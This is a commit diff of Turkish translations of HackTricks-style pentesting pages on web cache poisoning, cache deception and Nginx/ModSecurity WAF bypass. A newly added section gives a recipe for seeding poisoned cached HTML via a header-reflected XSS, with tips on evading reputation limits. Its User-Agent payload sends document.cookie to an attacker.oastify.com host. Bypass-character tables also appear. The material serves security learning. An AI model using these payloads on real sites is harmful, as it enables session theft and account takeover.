Translated ['src/pentesting-web/proxy-waf-protections-bypass.md', 'src/p

This commit is contained in:
Translator 2025-08-21 06:08:20 +00:00
parent 818cc41b0d
commit 2c6a26c79b
2 changed files with 126 additions and 70 deletions

View File

@ -6,26 +6,26 @@
> **Web cache poisoning ile web cache deception arasındaki fark nedir?**
>
> - **Web cache poisoning**'de, saldırgan uygulamanın önbelleğe bazı kötü niyetli içerikler depolamasını sağlar ve bu içerik, önbellekten diğer uygulama kullanıcılarına sunulur.
> - **Web cache poisoning**'de, saldırgan uygulamanın önbelleğe bazı kötü niyetli içerikler depolamasını sağlar ve bu içerikler önbellekten diğer uygulama kullanıcılarına sunulur.
> - **Web cache deception**'da, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbelleğe depolamasını sağlar ve ardından bu içeriği önbellekten geri alır.
## Cache Poisoning
Cache poisoning, istemci tarafı önbelleğini manipüle etmeyi amaçlar ve istemcilerin beklenmedik, kısmi veya bir saldırganın kontrolü altındaki kaynakları yüklemesini zorlar. Etkilerin kapsamı, etkilenen sayfanın popülaritesine bağlıdır; çünkü kirlenmiş yanıt, önbellek kontaminasyonu süresince sayfayı ziyaret eden kullanıcılara özel olarak sunulur.
Cache poisoning, istemci tarafı önbelleğini manipüle etmeyi amaçlar ve istemcilerin beklenmedik, kısmi veya bir saldırganın kontrolü altındaki kaynakları yüklemesini zorlar. Etkilerin kapsamı, etkilenen sayfanın popülaritesine bağlıdır, çünkü kirlenmiş yanıt yalnızca önbellek kontaminasyonu süresince sayfayı ziyaret eden kullanıcılara sunulur.
Cache poisoning saldırısının gerçekleştirilmesi birkaç adım içerir:
1. **Anahtarsız Girdilerin Belirlenmesi**: Bunlar, bir isteğin önbelleğe alınması için gerekli olmasa da, sunucunun döndürdüğü yanıtı değiştirebilen parametrelerdir. Bu girdilerin belirlenmesi, önbelleği manipüle etmek için sömürülebileceğinden kritik öneme sahiptir.
2. **Anahtarsız Girdilerin Sömürülmesi**: Anahtarsız girdiler belirlendikten sonra, bir sonraki adım bu parametreleri saldırgana fayda sağlayacak şekilde sunucunun yanıtını değiştirmek için nasıl kötüye kullanacağınızı bulmaktır.
2. **Anahtarsız Girdilerin Sömürülmesi**: Anahtarsız girdiler belirlendikten sonra, bir sonraki adım bu parametreleri saldırganın yararına sunucunun yanıtını değiştirmek için nasıl kötüye kullanacağını bulmaktır.
3. **Kirlenmiş Yanıtın Önbelleğe Alındığının Garantilenmesi**: Son adım, manipüle edilmiş yanıtın önbelleğe kaydedildiğinden emin olmaktır. Bu şekilde, önbellek kirlenmişken etkilenen sayfaya erişen herhangi bir kullanıcı kirlenmiş yanıtı alacaktır.
### Keşif: HTTP başlıklarını kontrol et
Genellikle, bir yanıt **önbelleğe kaydedildiğinde** bununla ilgili bir **başlık olacaktır**, hangi başlıklara dikkat etmeniz gerektiğini bu yazıda kontrol edebilirsiniz: [**HTTP Cache başlıkları**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Genellikle, bir yanıt **önbelleğe kaydedildiğinde** bununla ilgili bir **başlık olacaktır**, hangi başlıklara dikkat etmeniz gerektiğini bu yazıda kontrol edebilirsiniz: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Keşif: Önbellek hata kodları
Eğer yanıtın bir önbelleğe kaydedildiğini düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz; bu, **400 durum kodu** ile yanıtlanmalıdır. Ardından isteği normal bir şekilde erişmeye çalışın ve eğer **yanıt 400 durum koduysa**, bunun zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).
Eğer yanıtın bir önbelleğe kaydedildiğini düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz, bu da **400 durum kodu** ile yanıtlanmalıdır. Ardından isteği normal bir şekilde erişmeye çalışın ve eğer **yanıt 400 durum koduysa**, bunun zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).
Daha fazla seçenek bulabilirsiniz:
@ -35,9 +35,9 @@ cache-poisoning-to-dos.md
Ancak, **bazen bu tür durum kodlarının önbelleğe alınmadığını** unutmayın, bu nedenle bu test güvenilir olmayabilir.
### Keşif: Anahtarsız girdileri tanımlama ve değerlendirme
### Keşif: Anahtarsız girdileri tanımlayın ve değerlendirin
Yanıtı **değiştirebilecek** parametreleri ve başlıkları **brute-force** yapmak için [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanabilirsiniz. Örneğin, bir sayfa `X-Forwarded-For` başlığını kullanarak istemcinin buradan script yüklemesini belirtiyor olabilir:
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak **parametreleri ve başlıkları zorlayabilir** ve **sayfanın yanıtını değiştirenleri** bulabilirsiniz. Örneğin, bir sayfa `X-Forwarded-For` başlığını kullanarak istemcinin buradan script yüklemesini belirtiyor olabilir:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
@ -105,9 +105,9 @@ cache-poisoning-via-url-discrepancies.md
### API anahtarını çalmak için yol geçişi ile önbellek zehirleme <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Bu yazı**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API anahtarının nasıl çalındığınııklıyor çünkü `/share/*` ile eşleşen her şey, istek web sunucusuna ulaştığında Cloudflare URL'yi normalleştirmeden önbelleğe alınacaktır.
[**Bu yazı**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API anahtarının nasıl çalındığınııklamaktadır çünkü `/share/*` ile eşleşen her şey, istek web sunucusuna ulaştığında Cloudflare URL'yi normalleştirmeden önbelleğe alınacaktır.
Bu, daha iyi bir şekilde de açıklanmıştır:
Bu, daha iyi bir şekilde de açıklanmaktadır:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
@ -115,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md
### Web önbellek zehirleme zafiyetlerini istismar etmek için birden fazla başlık kullanma <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Bazen bir önbelleği istismar edebilmek için **birden fazla anahtarsız girişi** **istismar etmeniz** gerekecektir. Örneğin, `X-Forwarded-Host` başlığını sizin kontrolünüzdeki bir alan adına ve `X-Forwarded-Scheme` başlığını `http` olarak ayarlarsanız bir **Açık yönlendirme** bulabilirsiniz. **Eğer** **sunucu** tüm **HTTP** isteklerini **HTTPS**'ye **yönlendiriyorsa** ve `X-Forwarded-Scheme` başlığını yönlendirme için alan adı olarak kullanıyorsa, yönlendirme ile sayfanın nereye yönlendirileceğini kontrol edebilirsiniz.
Bazen bir önbelleği istismar edebilmek için **birden fazla anahtarsız girdi** kullanmanız gerekecektir. Örneğin, `X-Forwarded-Host` başlığını sizin kontrolünüzdeki bir alan adına ve `X-Forwarded-Scheme` başlığını `http` olarak ayarlarsanız bir **Açık yönlendirme** bulabilirsiniz. **Eğer** **sunucu** tüm **HTTP** isteklerini **HTTPS**'ye **yönlendiriyorsa** ve `X-Forwarded-Scheme` başlığını yönlendirme için alan adı olarak kullanıyorsa, yönlendirme ile sayfanın nereye yönlendirileceğini kontrol edebilirsiniz.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -142,17 +142,17 @@ Content-Length: 22
report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
Bir portswigger laboratuvarı hakkında: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Parametre Gizleme
Örneğin, ruby sunucularında **parametreleri** **`;`** karakteri kullanarak **`&`** yerine ayırmak mümkündür. Bu, anahtarsız parametre değerlerini anahtarlı olanların içine yerleştirmek ve bunları kötüye kullanmak için kullanılabilir.
Örneğin, ruby sunucularında **parametreleri** **`;`** karakterini kullanarak **`&`** yerine ayırmak mümkündür. Bu, anahtarsız parametre değerlerini anahtarlı olanların içine yerleştirmek ve bunları kötüye kullanmak için kullanılabilir.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
Portswigger laboratuvarı: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### HTTP Cache Poisoning'i HTTP Request Smuggling ile Kötüye Kullanma
### HTTP Cache Poisoning'i HTTP Request Smuggling ile kötüye kullanma
[Cache Poisoning saldırılarını HTTP Request Smuggling'i kötüye kullanarak nasıl gerçekleştireceğinizi](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) burada öğrenin.
[Cache Poisoning saldırılarını HTTP Request Smuggling ile nasıl gerçekleştireceğinizi](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) burada öğrenin.
### Web Cache Poisoning için Otomatik Test
@ -160,49 +160,85 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
Örnek kullanım: `wcvs -u example.com`
## Açık Örnekler
### Header-reflection XSS + CDN/WAF destekli cache tohumlama (User-Agent, otomatik önbelleğe alınmış .js)
Bu gerçek dünya modeli, diğer kullanıcılara sunulan önbelleğe alınmış HTML'yi güvenilir bir şekilde zehirlemek için header tabanlı bir yansıma ilkesini CDN/WAF davranışıyla birleştirir:
- Ana HTML, güvenilmeyen bir istek başlığını (örneğin, `User-Agent`) çalıştırılabilir bir bağlama yansıttı.
- CDN, önbellek başlıklarını kaldırdı ancak bir iç/orijin önbelleği vardı. CDN ayrıca statik uzantılarla (örneğin, `.js`) biten istekleri otomatik olarak önbelleğe aldı, WAF ise statik varlıklar için GET'lerde daha zayıf içerik denetimi uyguladı.
- İstek akışı tuhaflıkları, bir `.js` yoluna yapılan bir isteğin sonraki ana HTML için kullanılan önbellek anahtarını/çeşidini etkilemesine izin verdi ve header yansıması yoluyla kullanıcılar arası XSS'yi mümkün kıldı.
Pratik tarif (popüler bir CDN/WAF üzerinde gözlemlendi):
1) Temiz bir IP'den (önceki itibar tabanlı düşüşlerden kaçının), tarayıcı veya Burp Proxy Match & Replace aracılığıyla kötü niyetli bir `User-Agent` ayarlayın.
2) Burp Repeater'da, iki isteğin bir grubunu hazırlayın ve "Grubu paralel gönder" seçeneğini kullanın (tek paket modu en iyi çalışır):
- İlk istek: Kötü niyetli `User-Agent`'ınızı gönderirken aynı kök üzerinde bir `.js` kaynak yolunu GET yapın.
- Hemen ardından: Ana sayfayı (`/`) GET yapın.
3) CDN/WAF yönlendirme yarışı ve otomatik önbelleğe alınmış `.js`, genellikle aynı önbellek anahtar koşullarını paylaşan diğer ziyaretçilere sunulan zehirlenmiş bir önbelleğe alınmış HTML çeşidini tohumlar (örneğin, aynı `Vary` boyutları gibi `User-Agent`).
Örnek header yükü (HttpOnly olmayan çerezleri dışa aktarmak için):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
Operasyonel ipuçları:
- Birçok CDN, önbellek başlıklarını gizler; zehirlenme yalnızca çok saatlik yenileme döngülerinde görünebilir. Oran sınırlaması veya itibar tetikleyicilerini önlemek için birden fazla bakış açısı IP'si kullanın ve hızı sınırlayın.
- CDN'nin kendi bulutundan bir IP kullanmak, yönlendirme tutarlılığını bazen artırır.
- Katı bir CSP varsa, bu, yansımanın ana HTML bağlamında çalışması ve CSP'nin satır içi yürütmeye izin vermesi veya bağlam tarafından atlanması durumunda hala işe yarar.
Etkisi:
- Oturum çerezleri `HttpOnly` değilse, zehirlenmiş HTML'den hizmet alan tüm kullanıcıların `document.cookie`'sini kitlesel olarak dışarı aktararak sıfır tıklama ATO mümkündür.
Savunmalar:
- İstek başlıklarını HTML'ye yansıtmayı durdurun; kaçınılmazsa katı bir bağlam kodlaması yapın. CDN ve köken önbellek politikalarını hizalayın ve güvenilmeyen başlıklarda değişiklik yapmaktan kaçının.
- WAF'nin `.js` isteklerine ve statik yollara içerik denetimini tutarlı bir şekilde uyguladığından emin olun.
- Oturum çerezlerinde `HttpOnly` (ve `Secure`, `SameSite`) ayarlayın.
## Savunmasız Örnekler
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS, URL içindeki parçayı kesmeden iletti ve yalnızca ana bilgisayar, yol ve sorgu kullanarak önbellek anahtarını oluşturdu (parçayı göz ardı ederek). Bu nedenle `/#/../?r=javascript:alert(1)` isteği arka uca `/#/../?r=javascript:alert(1)` olarak gönderildi ve önbellek anahtarında yük yoktu, yalnızca ana bilgisayar, yol ve sorgu vardı.
ATS, URL içindeki parçayı kesmeden iletti ve önbellek anahtarını yalnızca ana bilgisayar, yol ve sorgu kullanarak oluşturdu (parçayı göz ardı ederek). Bu nedenle `/#/../?r=javascript:alert(1)` isteği arka uca `/#/../?r=javascript:alert(1)` olarak gönderildi ve önbellek anahtarında yük yoktu, yalnızca ana bilgisayar, yol ve sorgu vardı.
### GitHub CP-DoS
İçerik türü başlığında kötü bir değer göndermek, 405 önbelleklenmiş yanıtı tetikledi. Önbellek anahtarı çerezi içeriyordu, bu nedenle yalnızca kimlik doğrulaması yapılmamış kullanıcıları hedef almak mümkündü.
İçerik türü başlığında kötü bir değer göndermek, 405 önbellekli yanıtı tetikledi. Önbellek anahtarı çerezi içeriyordu, bu nedenle yalnızca kimlik doğrulaması yapılmamış kullanıcıları hedef almak mümkündü.
### GitLab + GCP CP-DoS
GitLab, statik içeriği depolamak için GCP bucket'larını kullanır. **GCP Buckets**, **`x-http-method-override`** başlığını destekler. Bu nedenle, `x-http-method-override: HEAD` başlığını göndermek ve önbelleği boş bir yanıt gövdesi döndürmesi için zehirlemek mümkündü. Ayrıca `PURGE` yöntemini de destekleyebilirdi.
GitLab, statik içeriği depolamak için GCP kovalarını kullanır. **GCP Kovaları**, **`x-http-method-override`** başlığını destekler. Bu nedenle `x-http-method-override: HEAD` başlığını göndermek ve önbelleği boş bir yanıt gövdesi döndürmesi için zehirlemek mümkündü. Ayrıca `PURGE` yöntemini de destekleyebilir.
### Rack Middleware (Ruby on Rails)
Ruby on Rails uygulamalarında, Rack middleware sıklıkla kullanılmaktadır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini almak ve bunu isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma 301 yönlendirmesi gerçekleşir ve bu, o kaynağa bir Hizmet Reddi (DoS) neden olabilir. Ayrıca, uygulama `X-forwarded-host` başlığını tanıyabilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, bir saldırganın sunucusundan JavaScript dosyalarının yüklenmesine yol açarak güvenlik riski oluşturabilir.
Ruby on Rails uygulamalarında, Rack ara yazılımı sıklıkla kullanılır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini alıp isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma 301 yönlendirmesi gerçekleşir ve bu, o kaynağa bir Hizmet Reddi (DoS) neden olabilir. Ayrıca, uygulama `X-forwarded-host` başlığını tanıyabilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, bir saldırganın sunucusundan JavaScript dosyalarının yüklenmesine yol açarak güvenlik riski oluşturabilir.
### 403 ve Depolama Bucket'ları
### 403 ve Depolama Kovaları
Cloudflare daha önce 403 yanıtlarını önbelleğe alıyordu. Yanlış Yetkilendirme başlıkları ile S3 veya Azure Storage Blobs'a erişmeye çalışmak, önbelleğe alınan bir 403 yanıtı ile sonuçlanıyordu. Cloudflare 403 yanıtlarını önbelleğe almayı durdurmuş olsa da, bu davranış diğer proxy hizmetlerinde hala mevcut olabilir.
Cloudflare daha önce 403 yanıtlarını önbelleğe alıyordu. Yanlış Yetkilendirme başlıkları ile S3 veya Azure Depolama Blob'larına erişmeye çalışmak, önbelleğe alınan bir 403 yanıtı ile sonuçlanıyordu. Cloudflare 403 yanıtlarını önbelleğe almayı durdurmuş olsa da, bu davranış diğer proxy hizmetlerinde hala mevcut olabilir.
### Anahtarlı Parametreleri Enjekte Etme
### Anahtar Parametreleri Enjekte Etme
Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alıyordu. Ancak, parametrenin URL kodlamalı bir versiyonu (örneğin, `siz%65`) hatalı bir değerle gönderildiğinde, önbellek anahtarı doğru `size` parametresi kullanılarak oluşturuluyordu. Yine de, arka uç URL kodlamalı parametredeki değeri işliyordu. İkinci `size` parametresinin URL kodlaması, önbellek tarafından atılmasına neden oldu ancak arka uç tarafından kullanıldı. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Bad Request hatası ile sonuçlandı.
Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alıyordu. Ancak, parametrenin URL kodlu bir versiyonu (örneğin, `siz%65`) hatalı bir değerle gönderildiğinde, önbellek anahtarı doğru `size` parametresi kullanılarak oluşturuluyordu. Ancak, arka uç URL kodlu parametredeki değeri işliyordu. İkinci `size` parametresinin URL kodlaması, önbellek tarafından atlanmasına ancak arka uç tarafından kullanılmasına neden oldu. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Bad Request hatasına yol açtı.
### Kullanıcı Aracı Kuralları
Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafikli araçların kullanıcı ajanlarıyla eşleşen istekleri engeller. Ironik bir şekilde, bu yaklaşım önbellek zehirlenmesi ve DoS gibi güvenlik açıklarını ortaya çıkarabilir.
Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafik araçlarının kullanıcı ajanlarıyla eşleşen istekleri engeller. Ironik bir şekilde, bu yaklaşım önbellek zehirlenmesi ve DoS gibi güvenlik açıkları oluşturabilir.
### Geçersiz Başlık Alanları
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230), başlık adlarında kabul edilebilir karakterleri belirtir. Belirtilen **tchar** aralığının dışındaki karakterleri içeren başlıkların ideal olarak 400 Bad Request yanıtı tetiklemesi gerekir. Pratikte, sunucular her zaman bu standarda uymamaktadır. Önemli bir örnek, geçersiz karakterler içeren başlıkları ileten ve `cache-control` başlığı mevcut olmadıkça herhangi bir 400 hatasını önbelleğe alan Akamai'dır. Geçersiz bir karakter içeren bir başlık gönderildiğinde, örneğin `\`, önbelleğe alınabilir bir 400 Bad Request hatası ile sonuçlanan bir sömürülebilir desen tespit edilmiştir.
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230), başlık adlarında kabul edilebilir karakterleri belirtir. Belirtilen **tchar** aralığının dışındaki karakterleri içeren başlıklar, ideal olarak 400 Bad Request yanıtı tetiklemelidir. Pratikte, sunucular her zaman bu standarda uymamaktadır. Önemli bir örnek, geçersiz karakterler içeren başlıkları ileten ve `cache-control` başlığı mevcut olmadıkça herhangi bir 400 hatasını önbelleğe alan Akamai'dır. Geçersiz bir karakter içeren bir başlık gönderildiğinde, örneğin `\`, önbelleğe alınabilir bir 400 Bad Request hatası ile sonuçlanan bir sömürülebilir desen tespit edilmiştir.
### Yeni Başlıklar Bulma
### Yeni başlıklar bulma
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Önbellek Aldatmacası
## Önbellek Zehirlenmesi
Önbellek Aldatmacası'nın amacı, istemcilerin **önbellek tarafından kaydedilecek kaynakları hassas bilgileriyle yüklemelerini sağlamaktır**.
Önbellek Zehirlenmesi'nin amacı, istemcilerin **önbellek tarafından kaydedilecek kaynakları hassas bilgileriyle yüklemelerini sağlamaktır**.
Öncelikle, **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe** **kaydedilmek** üzere **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js` adresine erişirseniz, önbellek muhtemelen yanıtı kaydedecektir çünkü `.js` **uzantısını** görmektedir. Ancak, eğer **uygulama** _www.example.com/profile.php_ içinde depolanan **hassas** kullanıcı içerikleriyle **tekrar** yanıt veriyorsa, bu içerikleri diğer kullanıcılardan **çalıp** alabilirsiniz.
Öncelikle, **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe** **kaydedilmek** üzere **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js` adresine erişirseniz, önbellek muhtemelen yanıtı kaydedecektir çünkü `.js` **uzantısını** görmektedir. Ancak, eğer **uygulama**, _www.example.com/profile.php_ içinde saklanan **hassas** kullanıcı içerikleriyle **tekrar oynuyorsa**, bu içerikleri diğer kullanıcılardan **çalıp** alabilirsiniz.
Test edilecek diğer şeyler:
@ -215,15 +251,15 @@ Test edilecek diğer şeyler:
Bu yazıda çok net bir örnek bulunabilir: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi var olmayan bir sayfayı yüklediğinizde, _http://www.example.com/home.php_ (**kullanıcının hassas bilgileriyle**) içeriğin döneceği ve önbellek sunucusunun sonucu kaydedeceği açıklanmaktadır.\
Daha sonra, **saldırgan** kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_ adresine erişebilir ve daha önce erişen kullanıcıların **gizli bilgilerini** gözlemleyebilir.
Daha sonra, **saldırgan**, kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_ adresine erişebilir ve daha önce erişen kullanıcıların **gizli bilgilerini** gözlemleyebilir.
**Önbellek proxy'sinin**, dosyaları **uzantıya** göre **önbelleğe** **alacak** şekilde **yapılandırılması** gerektiğini unutmayın (_css_ gibi) ve içerik türüne göre değil. Örneğin, _http://www.example.com/home.php/non-existent.css_ adresinin `text/html` içerik türü yerine `text/css` mime türüne sahip olması beklenmektedir (bu, bir _.css_ dosyası için beklenendir).
**Önbellek proxy'sinin**, dosyaların **uzantısına** (_css_) göre **önbelleğe** **alınacak** şekilde **yapılandırılması** gerektiğini unutmayın ve içerik türüne göre değil. Örneğin, _http://www.example.com/home.php/non-existent.css_ adresinin `text/html` içerik türü olacak, bu da bir _.css_ dosyası için beklenen `text/css` mime türü değildir.
[Cache Deceptions saldırılarını HTTP Request Smuggling'i kötüye kullanarak nasıl gerçekleştireceğinizi](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) burada öğrenin.
Burada, [HTTP İstek Kaçırma kullanarak Önbellek Zehirlenmesi saldırılarını nasıl gerçekleştireceğinizi öğrenin](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Otomatik Araçlar
- [**toxicache**](https://github.com/xhzeem/toxicache): Bir URL listesinde web cache poisoning açıklarını bulmak ve birden fazla enjeksiyon tekniğini test etmek için Golang tarayıcısı.
- [**toxicache**](https://github.com/xhzeem/toxicache): Bir URL listesinde web önbellek zehirlenmesi açıklarını bulmak ve birden fazla enjekte etme tekniğini test etmek için Golang tarayıcı.
## Referanslar
@ -233,6 +269,8 @@ Daha sonra, **saldırgan** kendi tarayıcısında _http://www.example.com/home.p
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,11 @@
# Proxy / WAF Koruma Aşma
# Proxy / WAF Koruma Bypass
{{#include ../banners/hacktricks-training.md}}
## Yolu Manipüle Ederek Nginx ACL Kurallarını Aşma <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
## Nginx ACL Kurallarını Yol Adı Manipülasyonu ile Bypass Etme <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
Teknikler [bu araştırmadan](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
Bu araştırmadan [teknikler](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
Nginx kural örneği:
```plaintext
@ -17,7 +17,7 @@ location = /admin/ {
deny all;
}
```
Nginx, atlatmaları önlemek için kontrol etmeden önce yol normalizasyonu yapar. Ancak, arka uç sunucusu farklı bir normalizasyon gerçekleştirirse (nginx'in kaldırmadığı karakterleri kaldırma gibi), bu savunmayı aşmak mümkün olabilir.
Nginx, atlatmaları önlemek için kontrol etmeden önce yol normalizasyonu yapar. Ancak, eğer arka uç sunucu farklı bir normalizasyon yapıyorsa (nginx'in kaldırmadığı karakterleri kaldırıyorsa) bu savunmayı aşmak mümkün olabilir.
### **NodeJS - Express**
@ -31,10 +31,10 @@ Nginx, atlatmaları önlemek için kontrol etmeden önce yol normalizasyonu yapa
### **Flask**
| Nginx Versiyonu | **Flask Atlatma Karakterleri** |
| --------------- | --------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| Nginx Versiyonu | **Flask Atlatma Karakterleri** |
| --------------- | -------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
@ -42,12 +42,12 @@ Nginx, atlatmaları önlemek için kontrol etmeden önce yol normalizasyonu yapa
### **Spring Boot**
| Nginx Versiyonu | **Spring Boot Atlatma Karakterleri** |
| --------------- | ------------------------------------ |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
| --------------- | ----------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
### **PHP-FPM**
@ -62,7 +62,7 @@ include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
Nginx, `/admin.php` erişimini engelleyecek şekilde yapılandırılmıştır, ancak bu, `/admin.php/index.php` adresine erişerek aşılabilir.
Nginx, `/admin.php` erişimini engelleyecek şekilde yapılandırılmıştır, ancak bu, `/admin.php/index.php` üzerinden erişim sağlayarak aşılabilir.
### Nasıl önlenir
```plaintext
@ -74,18 +74,18 @@ deny all;
### Yol Karışıklığı
[**Bu yazıda**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) ModSecurity v3'ün (3.0.12'ye kadar) **`REQUEST_FILENAME`** değişkenini yanlış bir şekilde uyguladığııklanmaktadır; bu değişken erişilen yolu (parametrelerin başlangıcına kadar) içermesi gerekiyordu. Bunun nedeni, yolu almak için bir URL çözümlemesi yapmasıdır.\
Bu nedenle, mod güvenlikte `http://example.com/foo%3f';alert(1);foo=` gibi bir istek, yolun sadece `/foo` olduğunu varsayacaktır çünkü `%3f` `?`'ya dönüştürülerek URL yolunu sonlandırır, ancak aslında sunucunun alacağı yol `/foo%3f';alert(1);foo=` olacaktır.
[**Bu yazıda**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) ModSecurity v3'ün (3.0.12'ye kadar) erişilen yolu (parametrelerin başlangıcına kadar) içermesi gereken `REQUEST_FILENAME` değişkenini **yanlış bir şekilde uyguladığı**ıklanmaktadır. Bunun nedeni, yolu almak için bir URL çözümlemesi yapmasıdır.\
